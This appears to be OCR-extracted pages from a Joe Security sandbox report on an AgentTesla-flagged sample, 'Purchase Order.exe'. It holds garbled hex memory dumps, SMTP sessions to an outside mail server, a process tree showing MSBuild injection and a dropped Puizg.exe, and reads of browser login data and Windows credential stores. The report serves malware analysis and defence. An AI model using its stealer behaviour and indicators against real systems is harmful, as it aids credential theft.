Data Ascii: 8X/3(+0*0lCo(+:*0”pc(+:*oneu(+:*04S." (+:*(>>(+:_8g9(#(( *Ww8E**h89(#(

Data Raw: 10 1f 07 11 d2 64 1e 07 11 d2 07 11 68 64 10 1f 08 11 68 08 11 05 11 ff ff ff 1a 38 08 13 6d 64 20 1f 00 11 2a
0a 00 01 9d 7e ff ff fe f0 38 ff ff ff 16 3b 18 02 11 ff ff ff bd 38 06 13 6d 64 20 1f 01 11 ff ff ff 9b 38 06 00 13 bb 28 04 00 09
33 7e 02 03 11 ff ff ff 26 38 ff ff ff 08 38 ff ff ff 0d 38 06 00 13 b3 28 04 00 09 31 7e 02 00 00 00 59 38 07 13 6d 01 11 00 0
000 9c 38 00 13 6a 16 ff ff ff 1e 38 00 00 00 00 20 26 ff ff ff 29 3a 04 00 08 27 7b 04 00 08 2c 7e 00 00 00 00 20 00 00 00
7e 3a00 11 ff ff ff a2 38 00 13 06 00 13 db 28 04 00 09 3b 7e 02 ff ff ff 56 38 00 00 00 01 20 26 ff ff ff 61 3a 04 00 07 dd
7b 04 00 08 2c 7e 00 00 00 01 20 03 13 06 00 13 a7 28 04 00 09 2e 7e 02 00 00 00 bd 38 00 00 00 ¢8 3a 01 11 00 00 00
af 38 05 13 6d 00 11 ff ff

Data Ascii: dhdh8md *~8;8md 8(3~&888(1~Y8m8;j8 &):{,~ ~:8(;~V8 &a:{,~ (.~8:8m

Data Raw: 7a 00 00 2a 04 00 03 ca 7e 42 08 2f 0a 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 03 ca 7e 38 70 50 68 28 05 2b
42 00 2a 06 00 Of d3 28 04 00 08 39 7e 64 7b {7 6b 28 05 2b 4a 00 ff ff ff f4 38 01 13 00 11 2a 01 11 00 00 00 03 38 06 00
03 €9 28 69 8e 02 00 11 16 02 00 00 00 00 38 00 13 0a 00 00 17 28 69 8e 02 6e 62 40 d2 28 05 2b 11 00 00 39 00 00 00
3300 05 30 13 2a 02 11 ff f ff d1 38 01 13 01 fe 16 0a 00 00 c7 28 02 00 00 00 10 38 02 13 06 00 12 83 28 04 00 08 €5
7e 00 11 ff ff ff d2 38 ff ff ff ec 39 01 11 00 00 00 Oc 38 00 13 0a 00 01 6b 28 02 7a 0a 00 01 2b 73 06 00 10 Of 28 04 00
08 48 7e fd 36 7d 31 20 00 00 00 41 38 35 74 00 7f 28 05 2b 11 00 00 7e 00 00 00 60 00 03 30 13 00 2a 00 00 00 00 38
0a 00 00 11 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08

Data AsCii: z*~B/(+6*~8pPh(+B*(9~d{k(+J8*8(i8(inb@ (+930*8(8(~898k(z+5(H~6}1 A85t(+~"0*8(8(

Data Raw: 08 be 7e 61 06 00 11 db 28 04 00 08 bb 7e 06 00 11 €3 28 04 00 08 bd 7e 06 00 11 ef 28 04 00 08 cO 7e 06 00
11 ¢7 28 04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 88 20 06 00 11 ¢7 28 04 00 08 b6 7e Oa 00 00 23 28 06
00 Oc bf 28 02 00 00 8b 20 06 00 11 c7 28 04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 8d 20 06 00 11 7 28
04 00 08 b6 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 8¢ 20 65 43 Ob ba 28 05 2b 00 00 00 00 00 00 00 95 00 07 30 03 O
0 2a 00 00 00 00 38 0a 00 00 11 28 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 49 26 ff 26 28 05 2b 8a 00 2a 06 00
0c bf 28 00 00 09 fe 00 63 7f 89 37 28 05 2b 4a 00 00 2a 04 00 03 ab 7e 50 08 ac 00 28 05 2b 36 00 00 00 2a 01 fe 14 04
00 03 ab 7e 63 3b 55 d0 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08

Data Ascii: ~a(~(~(~(~#(( (~#(( (~#(( (~#(( eC(+0*8(8(:~I&&(+*(CT(+I*~P(+6*~c;U(+B*(

Data Raw: fd 38 dc 00 00 00 00 38 0a 00 00 77 28 26 11 00 00 00 00 38 00 00 00 11 39 38 11 ff ff f8 1b dd ff ff fe 9b 38
07 13 5f 61 01 11 58 00 11 27 ac 65 4f 20 07 11 ff ff fc a8 38 04 13 Oa 00 00 98 73 14 11 ff ff f9 e9 38 ff ff fe 73 38 ff ff {9
ce 380313615901 116100 11 5e 3c 65 1d 20 03 11 ff ff f8 a3 38 00 00 00 01 20 26 ff ff {8 ae 39 04 00 08 30 7b 04 00
08 2c 7e 00 00 00 04 20 04 00 03 64 80 58 01 11 58 00 11 d7 ad 11 0Oa 20 ff ff f8 d2 38 00 00 00 01 20 26 ff ff f8 dd 39 04
00 07 cf 7b 04 00 08 2c 7e 00 00 00 00 20 04 00 03 67 80 68 61 68 66 65 65 66 66 65 66 65 66 58 01 11 59 00 11 c8 bb
ec d120 06 00 11 6b 28 04 00 08 9f 7e 04 00 03 68 7e ff ff fc 64 38 ff ff fc d8 38 ff ff f9 bb 38 ff ff f4 ec dd ff ff f9 30 38 00
00 00 00 20 26 ff ff f9 3b 39

Data Ascii: 88w(&8988_aX'eO 8s8s88aYa’<e 8 &90{,~ dXX 8 &9{,~ ghahfeeffefefXY k(~h~d88808 &;9

Data Raw: 38 f ff ff 95 3a 04 ff ff ff 9b 38 00 02 Ob fe 06 00 00 bf 28 02 ff ff ff b7 38 00 00 00 1f 39 03 00 00 00 25 38 ff ff ff
2f dd 00 00 00 00 38 26 ff ff f 3a dd 00 00 00 00 38 26 06 00 10 3 28 04 00 08 7d 7e 1a 14 01 11 00 00 00 00 38 26 06
00 10 3 28 04 00 08 7d 7e 1a 14 02 11 00 00 00 00 3e 38 0a 00 00 c8 28 04 02 11 00 00 00 65 38 00 00 00 75 3a 0a 00
00 7 28 02 11 00 ff ff ff 69 38 00 00 00 00 20 26 ff ff ff 74 3a 04 00 08 09 7b 04 00 08 2c 7e 00 00 00 00 20 06 00 00 ce
28 0a 00 00 c6 28 06 00 10 Of 28 04 00 08 48 7e fd 36 68 5a 20 02 11 03 12 00 00 00 3c 38 06 00 10 df 28 04 00 08 7c 7e
0312 00 00 00 11 38 02 13 06 00 00 c5 28 06 00 10 db 28 04 00 08 7b 7e 02 01 11 ff ff f dd 38 00 00 01 9f 3a 04 00 02
fb 7b 02 2a 02 11 00 00 01 ad 38 00 00 01

Data Ascii: 8:8(89%8/88&:8&(}~8&(}~>8(e8u:(i8 &t:{,~ ((H~6hZ <8(|~8(({~8:{(*8
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kBytes

Timestamp T Direction
2022-05-02 11:03:16 UTC 3666 IN
SMTP Packets
Timestam o
P Port
May 2, 2022 13:02:40.382987022 CEST 587
May 2, 2022 13:02:40.383440018 CEST 49771
May 2, 2022 13:02:40.435312033 CEST 587
May 2, 2022 13:02:40.435650110 CEST 49771
May 2, 2022 13:02:40.493628979 CEST 587
May 2, 2022 13:03:39.975064039 CEST 587
May 2, 2022 13:03:39.975383043 CEST 49791
May 2, 2022 13:03:40.026964903 CEST 587
May 2, 2022 13:03:40.027529001 CEST 49791
May 2, 2022 13:03:40.083175898 CEST 587

Statistics

Behavior

@

Copyright Joe Security LLC 2022

Click to jump to process

Data

Data Raw: fd 1f 02 ff ff ff 9b 38 00 00 00 00 20 26 ff ff ff a6 3a 04 00 08 01 7b 04 00 08 2¢ 7e 00 00 00 00 20 00 00 00 cO
39 5f 19 02 11 00 00 01 33 38 04 00 00 17 7d 0a 00 00 13 6f 04 00 00 06 7d 05 11 25 06 00 00 06 73 fe 1f 05 13 04 00 00
14 7b 02 02 00 00 01 b5 38 00 00 00 a6 00 00 01 d3 00 00 01 ba 00 00 00 03 45 00 04 Oc fe 00 00 01 9a 38 01 13 04 00
00 11 7b 02 00 65 31 eb 02 28 05 2b 11 00 00 06 00 00 02 47 00 05 30 1b 00 00 00 00 11 00 1f 05 00 1a 00 02 00 00 10
01 00 ff ff ff c2 38 00 ff ff ff €5 38 00 13 04 00 00 11 7b 02 ff ff ff c8 38 00 00 00 12 3b fd 1f 00 11 2a 00 00 00 00 38 dc 00
00 00 00 38 06 00 10 03 28 04 00 08 45 7e 02 00 00 00 16 dd 00 00 00 00 38 38 00 00 00 21 40 17 00 11 00 00 00 38 38
5f 53 9d 64 28 05 2b 11 00 00 01 00 00 00 57 00 03

Data Ascii: 8 &9{,~ 9_38}0}%s{8E8{e1(+G088{8;*88(E~88!@88_Sd(+W

Dest
Port

49771

587
49771

587
49771
49791

587
49791

587
49791

Source IP

5.250.241.50

192.168.2.4
5.250.241.50

192.168.2.4
5.250.241.50
5.250.241.50

192.168.2.4
5.250.241.50

192.168.2.4
5.250.241.50

Dest IP

192.168.2.4

5.250.241.50

192.168.2.4

5.250.241.50
192.168.2.4

192.168.2.4

5.250.241.50

192.168.2.4

5.250.241.50
192.168.2.4

@ Purchase Order.exe
@ cmd.exe

@ conhost.exe
@ timeout.exe
@ MSBuild.exe
@ MSBuild.exe
® Puizg.exe

@ Puizg.exe

® cmd.exe

@ conhost.exe
@ timeout.exe
@ cmd.exe

@ conhost.exe
@ timeout.exe

Commands

220 mail.srv04.aysima.net ESMTP Exim 4.95 #2 Mon, 02 May 2022

14:02:38 +0300
EHLO 048707

250-srv04.aysima.net Hello 048707 [84.17.52.38]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPE_CONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

STARTTLS

220 TLS go ahead

220 mail.srv04.aysima.net ESMTP Exim 4.95 #2 Mon, 02 May 2022

14:03:38 +0300
EHLO 048707

250-srv04.aysima.net Hello 048707 [84.17.52.38]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPE_CONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

STARTTLS
220 TLS go ahead
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System Behavior

Analysis Process: Purchase Order.exe PID: 1800, Parent PID: 3428

General

Target ID: 0

Start time: 13:01:28

Start date: 02/05/2022

Path: C:\Users\user\Desktop\Purchase Order.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Purchase Order.exe"

Imagebase: 0x740000

File size: 44032 bytes

MDS5 hash: D88A146F731E00B42947EC060F3D4F43
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000000.00000002.372147247.0000000003ADC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000000.00000002.372147247.0000000003ADC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000000.00000002.372093079.0000000003A4D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000000.00000002.372093079.0000000003A4D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000000.00000002.372017902.00000000039C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000000.00000002.372017902.00000000039C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

File Activities
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol
Analysis Process: cmd.exe PID: 6416, Parent PID: 1800

General

Target ID: 13

Start time: 13:02:07

Start date: 02/05/2022

Path: C:\Windows\SysWOWe64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\cmd.exe" /c timeout 20

Imagebase: 0x1190000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
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Analysis Process: conhost.exe PID: 6424, Parent PID: 6416

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

14

13:02:07

02/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: timeout.exe PID: 6456, Parent PID: 6416

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

15

13:02:07

02/05/2022
C:\Windows\SysWOW64\timeout.exe

true

timeout 20

0x1a0000

26112 bytes
121A4EDAE60A7AF6F5DFA82F7BB95659
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: MSBuild.exe PID: 6636, Parent PID: 1800

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

16
13:02:29
02/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe

false

C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe
0x310000

261728 bytes

D621FD77BD585874F9686D3A76462EF1

true

true

C, C++ or other language

high

Copyright Joe Security LLC 2022
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Analysis Process: MSBuild.exe PID: 6644, Parent PID: 1800

General

Target ID: 17

Start time: 13:02:30

Start date: 02/05/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Wow64 process (32bit): true

Commandline:

Imagebase: 0xc20000

File size: 261728 bytes

MDS5 hash: D621FD77BD585874F9686D3A76462EF1
Has elevated privileges: true

Has administrator true

privileges:
Programmed in: .Net C# or VB.NET

Yara matches:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000002.504132970.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000011.00000002.504132970.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
o Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000011.00000002.508094226.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
o Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000011.00000002.508094226.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities
File Created
File Path Access

read data or list
directory |
synchronize

C:\Users\user

read data or list
directory |
synchronize

C:\Users\user\AppData\Roaming

File Path Offset Length Value

File Read

File Path

C:\Windows\Microsoft. NET\Framework\v4.0.30319\msbuild.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\msbuild.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\msbuild.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
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Attributes

device

device

Offset

unknown
unknown
unknown
unknown

unknown

unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown
unknown

unknown

Ascii

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Length
4095
6457
4095
6135
176

4095
6457
4095
620

864

900

748

4095
8171
4096

Completion

object name collision

object name collision

Completion

Completion
success or wait
end of file
success or wait
success or wait

success or wait

success or wait
end of file
success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
end of file

success or wait

Count Source Address

1 6DB7CF06

1 6DB7CF06

Count Source Address

Count Source Address

1 6DB55705
1 6DB55705
1 6DB55705
1 6DB55705
1 6DABO3DE
i 6DB5CA54
i 6DB5CA54
i 6DB5CA54
1 6DABO3DE
1 6DABO3DE
1 6DABO3DE
1 6DABO3DE
i 6DB55705
i 6DB55705
i 6CAC1B4F

Symbol

unknown

unknown

Symbol

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown
unknown

ReadFile
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File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CAC1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.config unknown 4096 success or wait 1 6CAC1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.config unknown 4096 end of file 1 6CAC1B4F ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.config unknown 4095 success or wait 1 6DB55705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.config unknown 6457 end of file 1 6DB55705 unknown
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 40960 success or wait 1 6CAC1B4F ReadFile
Data

C:\Program Files (x86)\|Downloader\config\database.script unknown 4096 success or wait 1 6CAC1B4F ReadFile
C:\Program Files (x86)\|Downloader\config\database.script unknown 4096 end of file 1 6CAC1B4F ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11088 success or wait 1 6CAC1B4F ReadFile
CC19A398EBF1B96859CESD

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3853321935-  unknown 4096 success or wait 1 6CAC1B4F ReadFile
2125563209-4053062332-1002\d1aef8e4-b864-479c-bf86-f42c63d352b2

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11088 success or wait 1 6CAC1B4F ReadFile
CC19A398EBF1B96859CESD

Analysis Process: Puizg.exe PID: 7008, Parent PID: 3616

General

Target ID: 20

Start time: 13:02:40

Start date: 02/05/2022

Path: C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe"

Imagebase: 0xfa0000

File size: 44032 bytes

MD5 hash: D88A146F731E00B42947EC060F3D4F43

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware

hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Roaming\OarkzIb\Puizg.exe, Author: Florian Roth
¢ Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe,

Author: Joe Security
Antivirus matches: e Detection: 31%, ReversingLabs

Reputation: low

File Activities

File Created
File Path Access

C:\Users\user
directory |
synchronize

C:\Users\user\AppData\Roaming
directory |
synchronize

File Read

File Path
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

Copyright Joe Security LLC 2022

read data or list

read data or list

Attributes

device

device

Offset
unknown
unknown

unknown

unknown

unknown

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Length
4095
6135
176

4095
620

Completion

object name collision

object name collision

Completion
success or wait
success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6DB7CF06

1 6DB7CF06

Count Source Address
1 6DB55705

1 6DB55705

1 6DABO3DE

1 6DB5CA54

1 6DAB0O3DE

Symbol

unknown

unknown

Symbol
unknown
unknown

ReadFile

ReadFile

ReadFile
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File Path Offset
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path

Name Type Data

Analysis Process: Puizg.exe PID: 7144, Parent PID: 3616

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

23

13:02:48

02/05/2022
C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe
true
"C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe"
0x280000

44032 bytes
D88A146F731E00B42947EC060F3D4F43

true

true

.Net C# or VB.NET

low

File Created
File Path Access Attributes
C:\Users\user read data or list  device
directory |
synchronize
C:\Users\user\AppData\Roaming read data or list  device
directory |
synchronize
File Read
File Path Offset
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown

efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
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Length Completion
864 success or wait
900 success or wait
748 success or wait
4095 success or wait
8171 end of file
4096 success or wait
4096 end of file
Completion
Completion
Options Completion

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Length
4095
6135
176

4095
620

object name collision

object name collision

Completion
success or wait
success or wait

success or wait

success or wait

success or wait

Count Source Address
1 6DABO3DE

1 6DABO3DE

1 6DABO3DE

1 6DB55705

1 6DB55705

1 6CAC1B4F

1 6CAC1B4F

Count Source Address

Count Source Address

Count Source Address

1 6DB7CF06

1 6DB7CF06

Count Source Address
1 6DB55705

1 6DB55705

1 6DABO3DE

1 6DB5CA54

1 6DABO3DE

Symbol

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile

ReadFile

Symbol

Symbol

Symbol

unknown

unknown

Symbol
unknown
unknown

ReadFile

ReadFile

ReadFile
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File Path Offset Length

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4095
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 8171
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4096
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4096

Analysis Process: cmd.exe PID: 6204, Parent PID: 7008

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

26

13:03:17

02/05/2022

C:\Windows\SysWOW64\cmd.exe

true

"C:\Windows\System32\cmd.exe" /c timeout 20
0x1190000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

Analysis Process: conhost.exe PID: 1568, Parent PID: 6204

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

27

13:03:17

02/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: timeout.exe PID: 4288, Parent PID: 6204

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

29

13:03:17

02/05/2022
C:\Windows\SysWOW64\timeout.exe
true

timeout 20

0x1a0000
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Completion

success or wait

success or wait

success or wait

success or wait
end of file
success or wait

end of file

Count Source Address

1

6DABO3DE

6DABO3DE

6DABO3DE

6DB55705
6DB55705
6CAC1B4F
6CAC1B4F

Symbol

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile

ReadFile

Page 83 of 85



File size: 26112 bytes

MDS5 hash: 121A4EDAE60A7AF6F5DFAB82F7BB95659
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: cmd.exe PID: 5056, Parent PID: 7144

General

Target ID: 30

Start time: 13:03:23

Start date: 02/05/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\cmd.exe" /c timeout 20
Imagebase: 0x1190000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: conhost.exe PID: 5108, Parent PID: 5056

General

Target ID: 31

Start time: 13:03:23

Start date: 02/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

Analysis Process: timeout.exe PID: 6028, Parent PID: 5056

General

Target ID: 32

Start time: 13:03:24

Start date: 02/05/2022

Path: C:\Windows\SysWOW64\timeout.exe

Wow64 process (32bit): true

Commandline: timeout 20

Imagebase: 0x1a0000

File size: 26112 bytes

MDS5 hash: 121A4EDAE60A7AF6F5DFAB82F7BB95659
Has elevated privileges: true

Has administrator true

privileges:
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Programmed in: C, C++ or other language

Disassembly

@ No disassembly
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